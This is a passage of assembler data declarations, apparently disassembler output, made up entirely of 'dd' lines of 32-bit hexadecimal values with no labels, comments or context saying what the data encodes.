		dd 6F366781h, 0E3AED8D2h, 0E1ACBE00h, 1689056Eh, 414E010Bh
		dd 8C6DCF4Fh, 0E7308043h, 5596A024h, 76B01D95h,	0CA47000Ch
		dd 856B104Fh, 0F70524B8h, 3E92257Fh, 14429456h,	8C0212Fh
		dd 0D8EA01E8h, 3C3EDB36h, 568F0820h, 0E4C70775h, 29D983DEh
		dd 0C17C1048h, 2F397F18h
		dd 0B602FDE5h, 0C09A24E1h, 35013875h, 0FE048794h, 0E464AAD8h
		dd 0EB8F2AD6h, 22CB880h, 0DD65973Fh, 0BC9807E7h, 580527Eh
		dd 3B3003A4h, 0DBEF4783h, 8808CC2h, 0B6B0D89Bh,	0F4B01890h
		dd 58C9A231h, 803D254Dh, 303C6185h, 76904B0h, 63C28C13h
		dd 27E00426h, 0A0934D6Fh, 0BB87C1h, 0A465B897h,	45B21650h
		dd 8F304362h, 187A5819h, 72F04CB0h, 0D44459h, 9D53D1FAh
		dd 1A5050Eh, 0FFDA3955h, 0A7E4BD2Fh, 46582248h,	8A888054h
		dd 1E04056h, 9DB9B525h,	648804D8h, 5C04A124h, 9E41C85Fh
		dd 0FE2FD8D0h, 3A20B2ECh, 2AB28F4Ch, 0FC1C378h,	7C9D4124h
		dd 0C0CEC834h, 10ECD424h, 0C1A2AC00h, 4D164FCCh, 0D809806Bh
		dd 74C21EA3h, 8403862h,	5C9015BDh, 8160DE58h, 0E1DCF7C7h
		dd 306DB820h, 3818FB70h, 6203B080h, 0D737AD53h,	0B84783E7h
		dd 0BB8AECCh, 0D9EF3871h, 30C300B0h, 531CA4A8h,	21E13300h
		dd 189EA50Dh, 3FC4B15Bh, 3A80C977h, 0B8603062h,	5C1BC95Eh
		dd 0F038C6ACh, 78B0F28Ch, 0E7513CB5h, 9FFB3187h, 0B671A0D6h
		dd 0FA0A27E1h, 0C849E48Fh, 1B98C780h, 4057B51h,	6DAE088h
		dd 0B2908061h, 3000F26Dh, 49896A5h, 0F08A6280h,	6698C485h
		dd 49CA23Bh, 7AB76E3Dh,	182A9808h, 7856A222h, 0CF7D0088h
		dd 9FA88D07h, 4C0172B0h, 8F95EED0h, 9000697Ah, 8BA31D8h
		dd 4F24D57Ch, 0F93860D0h, 77205478h, 63449644h,	1DC4B96Dh
		dd 53349CFh, 940108D5h,	61742F37h, 0C01EE838h, 0F13FC042h
		dd 0D818C27Eh, 4DCC10DCh, 3D0B7030h, 2AA59E66h,	0B7858482h
		dd 7945ACE0h, 0DE1D2E16h, 7CE5A0C4h, 0E82BC4h, 9585057Ch
		dd 3152EB54h, 0D8EFEA78h, 7E7DE509h, 0B46FB003h, 88678144h
		dd 0B9D56A1Fh, 803F13B0h, 463C8FC4h, 117ED8C9h,	0B09230A8h
		dd 98C4C6C2h, 0D202E2FBh, 38CE0E1h, 0D5E4EE8Fh,	9924BC08h
		dd 8D9A4544h, 0A0EDE304h, 9C1D3B24h, 0CF0F6C10h, 0EEDA86F3h
		dd 68D84818h, 0BB11F93h, 3868B1C0h, 74908DFFh, 0FCB1D898h
		dd 542A283Eh, 4F18B861h, 1830D1D3h, 74508254h, 6D06B8BBh
		dd 0FC718DD4h, 62770E2Eh, 0DD5D47h, 27C322F6h, 10DF45C7h
		dd 8C0C7514h, 302F8198h, 5950F813h, 0C4B40DAAh,	7E680049h
		dd 8ED3F5h, 6602DAD9h, 18F6476Ch, 93E3A16h, 64941800h
		dd 0F9EF53B8h, 8052031h, 1D145010h, 2024616Dh, 15FAEF00h
		dd 2D45810Dh, 602080DDh, 0CB96AD65h, 0D4338F12h, 0F3C75004h
		dd 55FFCCC0h, 935B0020h, 0C95C2759h, 8F14D978h,	8C4CB6h
		dd 0C080E9EEh, 81F33C2Fh, 43C61B8h, 0ECEC0230h,	5071DE52h
		dd 1B8CA180h, 909257BBh, 308F181Ch, 8996502Dh, 0AD17B0A4h
		dd 3C839EA3h, 0FA2CB2Fh, 6362F018h, 726DE7E2h, 395A7478h
		dd 2C2F0047h, 6F900569h, 37C1901Ch, 0E6C77FADh,	40081304h
		dd 0B8933C4Ch, 78423061h, 31689876h, 0D498F445h, 117B0024h
		dd 209C6490h, 6CB482E8h, 0DF6AE840h, 1C249A81h,	0BB840797h
		dd 0E00171D0h, 6DC24E3Fh, 0A8C17090h, 0DCF0F73Eh, 80003827h
		dd 0ACF87E42h, 0C9890A3h, 3226A70Fh, 71EE6081h,	0B8074F51h
		dd 3A9C297Ch, 4198ACE4h, 454742A0h, 1038A280h, 0F85DBBAEh
		dd 87D70709h, 6538A882h, 6A3046C0h, 0C1C73B01h,	27220EDAh
		dd 859F3078h, 0D0E8FC2Fh, 0BA13691Ch, 0E79F3A00h, 4ABB9E03h
		dd 79303CDEh, 82B28h, 23DCD662h, 4F1E6D0Ch, 10B8E258h
		dd 94002F11h, 553B9C8Bh, 0A704C657h, 8C453424h,	857607C0h
		dd 0E64B29F4h, 0FBF3C08Ch, 0D838A2EEh, 0D427DB3Eh, 0C09EBC82h
		dd 4B8FDF9Ch, 300400EEh, 468854EFh, 0E618D701h,	0B072F220h
		dd 207C7E0h, 6D6B3666h,	0F468BC8Ah, 0DCB06905h,	9542E094h
		dd 0B5701B3h, 0CEEFE164h, 0DB652840h, 10D38F18h, 26E2E1A1h
		dd 6024A03Ch, 7A168F86h, 0EC3180h, 10788B05h, 382F7B95h
		dd 6D38AB60h, 0DFA504h,	943947B1h, 0B58FD457h, 0F3E90F41h
		dd 56103033h, 4F36099Ch, 5BF0C4D1h, 47687163h, 4F843DDDh
		dd 37D79C40h, 0C0CCA73h, 65552F89h, 0D4E464C8h,	0A379C616h
		dd 0B9BDA800h, 9B0CA5Fh, 9E8E8C49h, 17942002h, 60F9C702h
		dd 804DFE84h, 0D42E6293h, 5D00983Dh, 6D680BEFh,	90DD6606h
		dd 2CB07855h, 380496h, 52243D4Dh, 157E289h, 434CBBFh, 8FDFF777h
		dd 0E1D78704h, 0FFDD46E9h, 0EEDE29C4h, 0E0437050h, 3FBE0056h
		dd 81585323h, 0F703AAEEh, 7DE9ED59h, 2D22004Eh,	69C85CACh
		dd 767FBA52h, 0D100BE70h, 2EAC1E2h, 0C1E19CE9h,	504DB15Ah
		dd 14B0C852h, 586069F8h, 3D1B6842h, 5A02032Ch, 4245431h
		dd 0DB0BE9A8h, 0C64938CEh, 0F62C8ADFh, 16CA60EEh, 81241C8Bh
		dd 1A04C437h, 0DBCB0103h, 7383DB0Ch, 2C31B16h, 0BFE72887h
		dd 0BB0F6683h, 0E99C81EFh, 0D24B8CC9h, 68B4132Ch, 4F2B4A12h
		dd 46F4D865h, 635FF88Dh, 0E689561Fh, 5A33A099h,	68F03449h
		dd 5118C523h, 0CA504FB9h, 0E5407A6h, 243C8906h,	1F02BFh
		dd 6326C181h, 0E3E910B7h, 0E5277767h, 39072h, 0F6E0B652h
		dd 0B880DE39h, 99F33FC4h, 8B1E37DBh, 4C51C89Eh,	0BA317A33h
		dd 4C0E64A8h, 0CEF6BC0h, 0EC236231h, 0CE702DF7h, 0CAC1DB40h
		dd 3A036071h, 4BE9F901h, 0AD320584h, 5F372F68h,	60D99D5Ch
		dd 5EF1311Ah, 0E9BE30DCh, 81AFA81Ah, 0F942A8C6h, 6FEA8846h
		dd 6C32A1Dh, 2D4AC280h,	389D635h, 0E9455AD5h, 4028ED8Eh
		dd 75209B28h, 0FC5EFC58h, 46506835h, 0ECCA4E2Eh, 85891406h
		dd 5EB7BD00h, 0EBE97D08h, 0F5272D62h, 0BE640AFh, 8932C983h
		dd 62680800h, 0D039E51h, 9A82D58h, 0D9C6144Dh, 0B3867B03h
		dd 0F6DE1151h, 0A6F6100Ch, 9590ADh, 7375193Eh, 348BF029h
		dd 543FBC90h, 85E90D5Ah, 8946C361h, 7C836E8Fh, 48655E4Ah
		dd 0E9C4304Ch, 0C2A80F63h, 691E1305h, 48CC4345h, 4887160Bh
		dd 0F803B3Ch, 0EF68C8B7h, 0F8B72754h, 1FC52544h, 85BFFBB8h
		dd 205DEE01h, 772A6838h, 3FA33DBh, 80D4F60Ah, 63B71ECh
		dd 0D5E407E7h, 539C77E9h, 1EE07EDh, 0CF597453h,	9D1423E9h
		dd 51000684h, 0D1F6A8B1h, 0DE6DDAE9h, 23E10121h, 0DC4648B0h
		dd 6418D7E6h, 0EE1A046Ch, 15A9041Ch, 9324BAE9h,	0D1B9F0A0h
		dd 0C8414064h, 4D98AD3Ch, 1830CD06h, 0EC34AFh, 915C075Bh
		dd 665DE831h, 3ACAFF7Fh, 943DD6C8h, 7ABD8BC6h, 9E5B9D24h
		dd 895710B0h, 0C78124E7h, 3B306259h, 2E8C100h, 4417291h
		dd 368D8F7h, 1C069338h,	39BF3C01h, 0BB1FE93Dh, 7713FBE8h
		dd 5EFFF9Ah, 4BC38026h,	0EB2F8328h, 0B0045AA8h,	2390D8E0h
		dd 451CB40h, 1E477168h,	53A7981Bh, 3D00527Dh, 5A71CA05h
		dd 0E3BE281h, 0C128D81Ah, 185513D2h, 0BCBF68D6h, 0C8384B38h
		dd 9963BF4h, 4F6739h, 76E8550h,	0C3FFA05Fh, 5F73930h, 0CE06DE3Ch
		dd 1DAE278Eh, 1734BD0Ch, 4710C3Ah, 110839Eh, 305487F7h
		dd 36AF7A87h, 9A760C1h,	188057E8h, 75FE37EBh, 0FB62A3E9h
		dd 66BB53D0h, 0C6EF0170h, 10BBE1Ah, 12B344DFh, 20E62D08h
		dd 0FBA95FFFh, 0E83D60CEh, 272A6D02h, 62C68359h, 0E9B081ECh
		dd 6C8FF2A2h, 4860E0C1h, 0CEA3572Dh, 10BB4648h,	0F724409Bh
		dd 4FF1083Dh, 66F82803h, 1896C95Bh, 0DB53129Fh,	8992483Dh
		dd 0BDCABD8Fh, 58BA80F0h, 11FDAFDh, 975FFA2Ch, 0EB53880Ah
		dd 70280E4Fh, 4110CC7Dh, 6C8740Ch, 0F19005Fh, 34FFC0B6h
		dd 8CE9870Ch, 0F2506AC7h, 72019874h, 60F7A48Bh,	0E95C0C8Fh
		dd 0D1926CAAh, 2B2E360Ch, 63ECB473h, 2CEB7D2Ah,	17AA7224h
		dd 0BE54558Eh, 89A8A6ABh, 87180685h, 3E535C2Ah,	0C3AAE389h
		dd 20EB4313h, 0E973A81Ch, 7B72493Ch, 0FAB97267h, 653E43D9h
		dd 0F1E39906h, 489CCBFEh, 0D1348221h, 2D8FC8F0h, 4C663A40h
		dd 0F11C0D58h, 30228380h, 0EAB259CAh, 0D7881E40h, 6948E958h
		dd 17380195h, 6FEC7C47h, 91B58006h, 6F0350CAh, 0A87889C9h
		dd 0B8BABDCh, 9BF188C0h, 7706F422h, 53B2E91Ch, 99CB4C33h
		dd 14DF1A31h, 0DECF4D24h, 0D22DAABAh, 0FAEB07D1h, 0C368C1E1h
		dd 781C630Ch, 68144620h, 18E33B54h, 0D38886DAh,	0A92B0AB0h
		dd 0D202AC7Eh, 61642240h, 52338898h, 552E4342h,	287B2110h
		dd 1B5013B9h, 0C38B0062h, 416724FBh, 0F3004B77h, 99C9404Eh
		dd 925BDD29h, 0F7E91800h, 835F3C66h, 0F91BFCA2h, 9A478A4Ch
		dd 485864EAh, 36168259h, 6FAA2061h, 0CC3A4CEBh,	485D3501h
		dd 0E8F6FD82h, 0EF5758DBh, 0FB5570CDh, 0E7685742h, 24A16616h
		dd 820C04E9h, 286FC680h, 8D3DF860h, 218AEDDDh, 5EB7BF01h
		dd 0A102C5E5h, 0AF2CEF80h, 0EFC66AC3h, 58C3099Fh, 0E08EDC1h
		dd 79DD7FA2h, 1C6F061Fh, 0CE20FD8Bh, 2E016F18h,	0D5087406h
		dd 62AAC151h, 0D10181A3h, 0C09B335Ah, 0D060631h, 110E685Ch
		dd 14F189CFh, 855BAC52h, 0C8976A4Eh, 4CB2B9C1h,	0F8CF01D0h
		dd 690F92A0h, 6D808621h, 418D3394h, 770A0CC9h, 87299005h
		dd 314CCCDDh, 0EA0D06DAh, 285C446Eh, 8481DCE0h,	0BE24C0DDh
		dd 62F07488h, 0F8D6F726h, 0DF590F00h, 58EEC16Fh, 0ED04BF05h
		dd 0C1275103h, 0CC04ACFBh, 0C4DE91Fh, 805A07E6h, 0F53028CDh
		dd 0F0DDF691h, 88AB14EDh, 4D57E8EEh, 9266DE40h,	28AA09Ch
		dd 83C34C30h, 61878F9Eh, 124640Dh, 5EC27E6h, 0A6442054h
		dd 1100A008h, 0EA7C913Ah, 0CE18E2FDh, 0FBB2A00Bh, 0FA4E1D61h
		dd 1ACC6976h, 0F3FD780h, 5EB070CBh, 995F430Bh, 3040314h
		dd 0C3550083h, 502056CDh, 0BE98DA89h, 8F2AD55h,	0E668B0E9h
		dd 5A624050h, 6CB201F7h, 5D9C7088h, 6213B1F1h, 0E8BF89Eh
		dd 3D90665Ch, 87915E68h, 8149E820h, 38A970B6h, 44B2595Fh
		dd 3F3A46F6h, 0ED06B717h, 4E3477F4h, 5842390Ch,	601C612h
		dd 265A6B99h, 0C9C7312Ch, 14451903h, 3080B77Bh,	0CFD38E66h
		dd 33694FF8h, 51FBB801h, 290840B9h, 8B2559CBh, 0DAF5133Ch
		dd 9BE34653h, 0EFEE00F9h, 122E361h, 31E9DE0Ch, 1041A8Bh
		dd 0C07024E7h, 0D3FE03E0h, 0C6280CC8h, 0F52C5802h, 88D84BE9h
		dd 2F4F9091h, 0D33CB851h, 0D0A6EFE0h, 7E8828Dh,	91AE5A21h
		dd 0F7528391h, 0E9160814h, 280B7FE7h, 383896D8h, 0E806B72Ch
		dd 0CF7B5CE9h, 9933E277h, 0F02088CDh, 0FD0F659h, 0C8FEBA2Ch
		dd 0E93619C6h, 97D54450h, 0FDDF7D3Dh, 8716F94Ah, 97339A4Ah
		dd 4C06311Bh, 0D28D840Dh, 0CD249E7h, 334070E7h,	6C01355Ch
		dd 7A80095Eh, 0AD003762h, 0A8546286h, 89C934F6h, 0F39B08C1h
		dd 0A64BD612h, 245D16D1h, 435FE931h, 0C300553Dh, 7C0436C3h
		dd 0FAEB2912h, 935E9A57h, 0BE8F3C22h, 0FB33681h, 1E13031Ah
		dd 0F609FD26h, 418FE44Fh, 8A348B25h, 0BD197D53h, 0C52C7136h
		dd 21E4D5C5h, 745D7DEFh, 0FBE910D1h, 0F7511417h, 815901CEh
		dd 6F7449C9h, 41DADC20h, 1809E7E8h, 843435F0h, 71B4061Ch
		dd 0B90802C2h, 0D6019CF4h, 8399F98Eh, 0DE2470F6h, 9AD3586Ch
		dd 0BE560350h, 3D8B7DE0h, 0DE2C230h, 2C5EF089h,	0C1E9C201h
		dd 87EDE9h, 150893BEh, 0CD814C95h, 0E3639E02h, 17E8293Bh
		dd 6B608FE9h, 6D0F68CFh, 614A4E8Eh, 3D148D8Fh, 622B02B0h
		dd 50467D5Ah, 2EC634C6h, 75A1C213h, 0BA0948E6h,	208A4F15h
		dd 3D3428AEh, 0D6293459h, 0FA081136h, 0C092E913h, 0B05066E9h
		dd 64E61852h, 5D1721Fh,	0DDC9D5F7h, 9C7E87E4h, 0E4FE6376h
		dd 835E400Ch, 4147B6C2h, 12C20050h, 27907877h, 52A52C61h
		dd 145FF68h, 4AEAC759h,	7A188B66h, 81DD7909h, 3E07CD02h
		dd 604D718Ch, 2D11CCAh,	0FD29AFC4h, 177869E9h, 0C3486678h
		dd 0E5EB0D1Fh, 0B8E8D264h, 553A4862h, 1872BF0Fh, 0CF24476Ch
		dd 0E95E8D09h, 5AAF2159h, 0BDC3BE2Ch, 0EF795BC1h, 0C331168Bh
		dd 0EDEBB86h, 19F2E1B8h, 98EFEBE6h, 0A7D27E0Ch,	78790B24h
		dd 4840F5E9h, 423970BFh, 38A6E9B9h, 9C577C86h, 8156E2E2h
		dd 6FB48780h, 6F984AA9h, 6453D4Fh, 9F2020B5h, 64944129h
		dd 1EC3A667h, 0C0A8B6C1h, 69408EEh, 626E605h, 0D8F6099Ah
		dd 2008498Dh, 0A0982002h, 0D3EE8005h, 0CB53A7E9h, 949455C4h
		dd 74358EE3h, 93CD82C5h, 4760DAA9h, 8082C790h, 5D6DC3C2h
		dd 8942139Ah, 519C2CD9h, 80A62CF4h, 92216527h, 0C9D9614Ch
		dd 21434CA0h, 0BDBD6263h, 78100253h, 865B4DE2h,	350F0CF0h
		dd 8571DE89h, 88F7C1F4h, 0A0C360DDh, 46105269h,	5651005Ah
		dd 484D8468h, 0A2CE959h, 8351CDC1h, 7C290CA5h, 5D530948h
		dd 1129C2E1h, 0CB920E8Eh, 0D499215Ch, 0BA100449h, 18034DC0h
		dd 0E6D34D65h, 0DABA0052h, 81783253h, 622667EAh, 0E21F1526h
		dd 42903D41h, 1C97D2F7h, 425252C9h, 4EE8357h, 0C2546A72h
		dd 0FE4829C8h, 7C4D4AEDh, 94A8235Fh, 54E0E6A7h,	33C06F05h
		dd 311A3302h, 0A60D066Bh, 908D310h, 0C04CE99Ch,	7FB28D27h
		dd 8EA25409h, 0F740F101h, 729402C1h, 2C242452h,	9AA12848h
		dd 9CB08h, 0AB7B8BBEh, 0CE2C310Eh, 0E9610C59h, 0F690AE6h
		dd 7E1A56CBh, 0C7839A68h, 833C88A1h, 9BE951EEh,	8C385947h
		dd 0D7E65FC9h, 466A6813h, 91803735h, 0BE15D2h, 2E3C17Dh
		dd 0CD0F381h, 987B542Ch, 8F79061Eh, 0E036B16Ch,	15BD889h
		dd 0F9584CC7h, 0EB570C31h, 0CFF8195Eh, 8A12D128h, 645A7D59h
		dd 0FDF1D141h, 5284C31Fh, 715E28D2h, 4AE98F20h,	59CF27F8h
		dd 8E7C10Eh, 0C496081h,	4BE93C12h, 0B85400DBh, 731C2BA6h
		dd 0DF570501h, 0C321B9FBh, 0F312F72Ch, 9E3014F5h, 21C5D652h
		dd 0D0C352F3h, 850FDB89h, 5A44EB26h, 540477CAh,	95D00BE9h
		dd 3D534EBFh, 0AB247159h, 872997E0h, 9F492D4h, 2A96ACC6h
		dd 0B0D32E8Bh, 4B5451E0h, 0E9AB3359h, 28026FBAh, 578FC8EFh
		dd 81E9AE54h, 0E628E2B5h, 27E10B92h, 0F801AF22h, 224762E1h
		dd 22338928h, 6AD4DED9h, 7FBD143Fh, 7F13345Ch, 0DCDFE031h
		dd 0E7606664h, 0D3C1A0B1h, 8081E0B4h, 0F6A5C2ADh, 0AB0ADA67h
		dd 42B3B40Eh, 0D04B70A8h, 51807927h, 1B22B450h,	44FD19E9h
		dd 0F37B2CFAh, 0CCDE1325h, 0F2BE7F04h, 80D64895h, 95C63EEh
		dd 1ED2683h, 9D31733h, 2D877105h, 3B7FEE7Bh, 746BCA02h
		dd 0A6C06EEBh, 5042E35h, 5FFA2152h, 814A0C80h, 0B8A001F2h
		dd 0D529B4A2h, 48E9FD5Ah, 7F0C14Ch, 0C906693h, 64D8522Ah
		dd 0B383A8ADh, 27171684h, 67B63735h, 0BBD06D48h, 0A73CA22Eh
		dd 0EB402932h, 0DFA623C8h, 14505C3Dh, 4888E389h, 0E087CA73h
		dd 5E826BB4h, 87530729h, 0F95FA7D3h, 815AB9C9h,	68D231D5h
		dd 542C7280h, 812C5D90h, 58F6BD51h, 585B175Dh, 30750C6Ch
		dd 0BF2C173Ch, 8ED28CDh, 17BE92Dh, 61C5BF2Fh, 3E2977F8h
		dd 3F925FFBh, 0F9504F32h, 6B86029Eh, 0DF620DD9h, 554CA446h
		dd 753C044Fh, 0DF8020E9h, 4CC93D1Ah, 0E4065239h, 18549823h
		dd 91603F09h, 24618911h, 0D9C1DE58h, 886089D8h,	3F5F445h
		dd 16A42767h, 0C81CEF01h, 0C62C02C7h, 0F665C60h, 0F9C858BEh
		dd 0BD4D4C7Ah, 42146F81h
		dd 1795EC10h, 0E152A6BEh, 0FC85873Dh, 0F0D7299Ch, 7A40B269h
		dd 5D002F7h, 2EC3180h, 0BF20DB82h, 0B151C30Eh, 69F8C947h
		dd 921E8A54h, 4EA8B9C0h, 78144D6h, 0E203BF1h, 17E16033h
		dd 0FAC6076Fh, 908501C1h, 3FB425B9h, 8802E024h,	0FBFA63DAh
		dd 1C897C65h, 0BCDC4C91h, 9C2F2505h, 1A404C52h,	271414BAh
		dd 6E7ADA93h, 0ACC0FB72h, 11A2378h, 886D968h, 84465B16h
		dd 48CF76E9h, 0AA50AD89h, 61082497h, 7EA109Fh, 0D7338FE2h
		dd 0C7CB0099h, 2F483Fh,	661EB850h, 0C2312DBAh, 68602AB8h
		dd 10F5C679h, 0C746009h, 4B5B7998h, 0F7E8F6F8h,	29447516h
		dd 0AA92CF18h, 4CD70936h, 6D91515Dh, 15293659h,	22860CFEh
		dd 63BE0056h, 81498513h, 721343E6h, 780B0F37h, 5F2E247Ch
		dd 0F420AE89h, 0C814D21Eh, 564108C0h, 0CFB349CFh, 0C181B318h
		dd 402E0C3h, 215D1861h,	52A5E45Fh, 1717BC5Bh, 0C91737C1h
		dd 120FD9B2h, 412BBBE8h, 550D03AEh, 0FB661CF9h,	1579327Bh
		dd 0DECA310Ah, 0D5078664h, 294B5D50h, 89A0899h,	52267928h
		dd 0C3FD040h, 14575EF3h, 0F04E014Ah, 0BD5ABF05h, 0C5FDEFD7h
		dd 0CA595645h, 14495092h, 7490F483h, 73CC8870h,	0E5E36659h
		dd 8079D958h, 0B6528400h, 2E6C049h, 7F6E26E9h, 15C468AFh
		dd 5503B123h, 0F2504CBDh, 0E7EAD024h, 184F013Bh, 97E965C1h
		dd 295B853Ch, 0EAF020F5h, 0D76FAC0Fh, 0E7C2A148h, 1D04592h
		dd 52069ED5h, 3388E1h, 957EC1E9h, 0AD83ABB9h, 273A140Ch
		dd 601BAE9h, 60F9295Fh,	0D17CD930h, 0BA1D514Fh,	14116A4Bh
		dd 264691CDh, 0BCB10ECh, 4C5D5455h, 79EB32A0h, 8DC1520Ah
		dd 0C606A6F2h, 47F0FD09h, 225512EAh, 0E9235D84h, 0B8A3281Dh
		dd 0C1291316h, 82C35958h, 5C169605h, 134295D8h,	932E2D22h
		dd 110D46C7h, 80FA6CE9h, 6513772Ah, 6C5F44EFh, 1079E318h
		dd 800F0C53h, 0D006F5F2h, 0F105C7FBh, 3B2CA78Bh, 0B308FDD5h
		dd 1BC62509h, 25F04C49h, 0F759CC5Eh, 0D4D50E6Ch, 0E0A6503Fh
		dd 7FA602B0h, 186016BBh, 9C1663E9h, 980B4147h, 8AF7B24Dh
		dd 0DB0080AEh, 8153CB62h, 672D0CCEh, 5FE26F4h, 88169870h
		dd 970AF389h, 0E853EA59h, 2A685EF5h, 5B813DFCh,	318012A5h
		dd 80BA1328h, 656BD12h,	7FC14FDAh, 699AFAEDh, 0D38F366Eh
		dd 0CCCA250Bh, 0CE908F50h, 945C942Dh, 5DDD37F2h, 4F5E6017h
		dd 0CC0551Ah, 14EB4E92h, 0C821155Fh, 0FA12F68Bh, 2049B4F2h
		dd 741E2FFh, 0FD08F95Ch, 8D492FE4h, 0EA2C19C2h,	6277A193h
		dd 6655385h, 3229B7ACh,	0B08803ACh, 0F74F0078h,	0ECCF81DFh
		dd 5CD44412h, 0D5EA1707h, 1AE9DDB0h, 2FB916Fh, 40410EE7h
		dd 0A6E335E1h, 0E90BE80Dh, 6676E08Ch, 67B23852h, 5A2CD43Bh
		dd 1D9A1C82h, 59C35DE3h, 3DC41258h, 502C7568h, 8D09EEB0h
		dd 40A79A5Eh, 0BB7D246h, 0A2C780E4h, 0EFAB9F0Eh, 0A9E9CF87h
		dd 8B580961h, 0E02EB670h, 832654C6h, 2A00AED6h,	0BA7D5704h
		dd 174580DFh, 9EA29ADh,	0C9904A8Dh, 6F4C0268h, 0D3E2D274h
		dd 0FB4C9E90h, 0E95E8E0Eh, 63C94E2Bh, 54652B02h, 0AB7471E5h
		dd 0E9309A5Fh, 2DDC292Eh, 4A069620h, 0ECBD1C98h, 0A7E051DAh
		dd 34ECF819h, 5323D031h, 3D10D099h, 114905h, 0B6C72CEh
		dd 0E481EED1h, 4E8EB32h, 68351ABBh, 0B652FCE7h,	0E19D70C4h
		dd 75DAB809h, 58C68902h, 4A407731h, 4C9CD1E0h, 6DBA70A8h
		dd 26FFD35Ch, 1F32BC07h, 0DC9D8146h, 0FCD7E17Dh, 868241C5h
		dd 0EB890156h, 3761715Dh, 257E49C3h, 2F6105Ch, 5B41E651h
		dd 94A44120h, 0FC07E40Dh, 60B808E2h, 371ADA16h,	0A3EF3E0Ah
		dd 40034AB5h, 8190B753h, 4D205BF8h, 7E2C98ACh, 1A1C9402h
		dd 55A306F6h, 6EE64AF2h, 0D4EE4C55h, 0BA9DB807h, 65061213h
		dd 1227A43Dh, 66068147h, 0E446888Fh, 971528B7h,	0B9568792h
		dd 51366841h, 0C4587F23h, 0E286A02h, 66404049h,	0AF2D751Eh
		dd 0F54B807Bh, 12CAF6D5h, 8E809A2h, 431F189Eh, 0E46CF380h
		dd 7E89B441h, 0BDD830D9h, 1629C2C3h, 655CDF24h,	0C381F017h
		dd 0BCDCD031h, 3F0F990Eh, 94353924h, 1601E242h,	0F75EED3Bh
		dd 0C41430D7h, 5B8D5802h, 4005E7C1h, 260EA06Bh,	17A46607h
		dd 0C6AED07Ch, 0C2CA519h, 8A05429h, 8FFF1BB0h, 290E5412h
		dd 5D022463h, 0AE9A1A5Ah, 58492154h, 3B6810B9h,	9E91230h
		dd 37D008C6h, 0CB7B79ACh, 680CE719h, 87D8C947h,	0DE82C38Eh
		dd 9A0F35Bh, 61A1F573h,	0D33FC9BEh, 12EE8834h, 36998980h
		dd 83404AE9h, 8E9C1F1h,	0A8D54046h, 57026596h, 20E9C601h
		dd 0FEC2C8C4h, 2D3C4F8Bh, 520CA12Eh, 7301E98Eh,	2C683C88h
		dd 0CFD36DABh, 1459E82Ch, 0B2F2CCCFh, 5BCDCDE1h, 0A8074703h
		dd 9D9508BCh, 4DE5FAF7h, 2C633B4h, 56BA21BBh, 0D088FE01h
		dd 0E5F1A08h, 0FC96B91Ch, 0CB68342h, 60130AF0h,	125F6839h
		dd 0A665AF89h, 909209C7h, 57080005h, 0F5685150h, 255C7612h
		dd 7042101Fh, 0B55D5C76h, 7C5D55CDh, 98CE4E8Eh,	0A627525Ah
		dd 6438102Ah, 6D5DA656h, 0CDC0134Bh, 62E2E11Ah,	1C87CCA1h
		dd 0C7CB4AE9h, 910D5695h, 0E0C5B6A9h, 4E7D624Ch, 14266B2Dh
		dd 698D91F2h, 0EF4AFCDBh, 4867E725h, 7BE0A776h,	8EBB5D16h
		dd 58FC8634h, 0C8FE4403h, 34E3D0F6h, 0A4DCE2Ch,	0C3A0B49h
		dd 6C7089Ch, 0E9053106h, 0C181E766h, 694CC74Ah,	73C410A3h
		dd 97E5881Fh, 56CC8196h, 5F5AF854h, 9E9C71ACh, 74DBCA42h
		dd 669D405Eh, 7B9CD359h, 20B56188h, 3B72FAC2h, 0EA0249E6h
		dd 15330BAFh, 0A60194E1h, 9F0B896Dh, 84A3CE1Eh,	40681290h
		dd 0F1BFCC47h, 2A95CDB2h, 0FE094DB5h, 92DF6413h, 1436206Eh
		dd 5B2E3E98h, 0E62C231h, 825804B9h, 342417BFh, 0E6730304h
		dd 6451038h, 0ECA3F864h, 3294F79h, 0E96C046Ah, 0CDAAA41Fh
		dd 23C2584Ah, 0AEE5604Dh, 3BBC2756h, 0C1BFDF81h, 3E042B3Ch
		dd 0F7E943E9h, 155E013h, 0D174CAC6h, 49BB206Ch,	682EC882h
		dd 33095E0Fh, 0B3D05202h, 324CEA73h, 0D3FD3013h, 3DDEF65Bh
		dd 0C2255366h, 0CD293182h, 3DC18390h, 83E91997h, 0BCA46405h
		dd 65A0D237h, 4D69419Ah, 0B0292058h, 254B6374h,	5E36AE82h
		dd 0C80F016Dh, 2D31B668h, 1EB48C42h, 52F76288h,	0D23258h
		dd 800467Fh, 8FCE810Eh,	16662B0Fh, 0A03E6C1h, 8B572C63h
		dd 73C55258h, 5AB32027h, 9A548D68h, 4CA7201Eh, 0FDF5801Fh
		dd 0A628ACFBh, 0BE525D17h, 51C45804h, 0F4A6B107h, 206881CEh
		dd 0ED1770F5h, 9C328868h, 206A842h, 7142FA01h, 59406B92h
		dd 550423FDh, 0DBF74338h, 0ADE990D1h, 0E726A622h, 28690F8Ch
		dd 76DAEDDh, 318706EFh,	0DF31D5F7h, 858FD93h, 75242CD7h
		dd 7C0782ADh, 0BF20FB9h, 319B33F0h, 1CB39430h, 7125F9BEh
		dd 6054F416h, 61F77753h, 5B2CBA34h, 0E2021D4Fh,	0DC384CB3h
		dd 13B2C24h, 428D2B36h,	0BF843045h, 13E80C13h, 19288C21h
		dd 0C823CFDh, 1AAC4A95h, 2D2E1200h, 0E8012E02h,	52D809F2h
		dd 0D4435E07h, 0B03EC1CBh, 0F5E507F6h, 40C1BCF4h, 0C3482928h
		dd 444477FFh, 3B727BF1h, 7C7DEAh, 0AFAA21DDh, 4259CA09h
		dd 0EA56F6F5h, 567F0CB0h, 727B60E4h, 311737D5h,	0D8F8ECC1h
		dd 0D0451A6Fh, 17081C08h, 89036153h, 881C30C2h,	0F2D5440h
		dd 45C56F68h, 535DCD44h, 0DA027212h, 0C1232CE8h, 95E3C3FCh
		dd 5145081Eh, 8CAC08E9h, 3844B927h, 2F96ED0Ch, 0BC5CAB8h
		dd 1BA62DA4h, 808DE6Ah
		dd 272F1086h, 4B1BAF57h, 0D14CC9FCh, 327C50DDh,	13F4B013h
		dd 34D609FBh, 0D5750C85h, 9BEF61Ch, 0D1645568h,	66838383h
		dd 0CA346918h, 0D6040D7Fh, 1EFD875Bh, 3B5907D9h, 25686C02h
		dd 0C0067E53h, 814AD130h, 19FDC900h, 0D9F7784Ch, 338A33E9h
		dd 8CB9D32Bh, 8F80720Ch, 0D5AE9D83h, 44F52F6Bh,	89343D0h
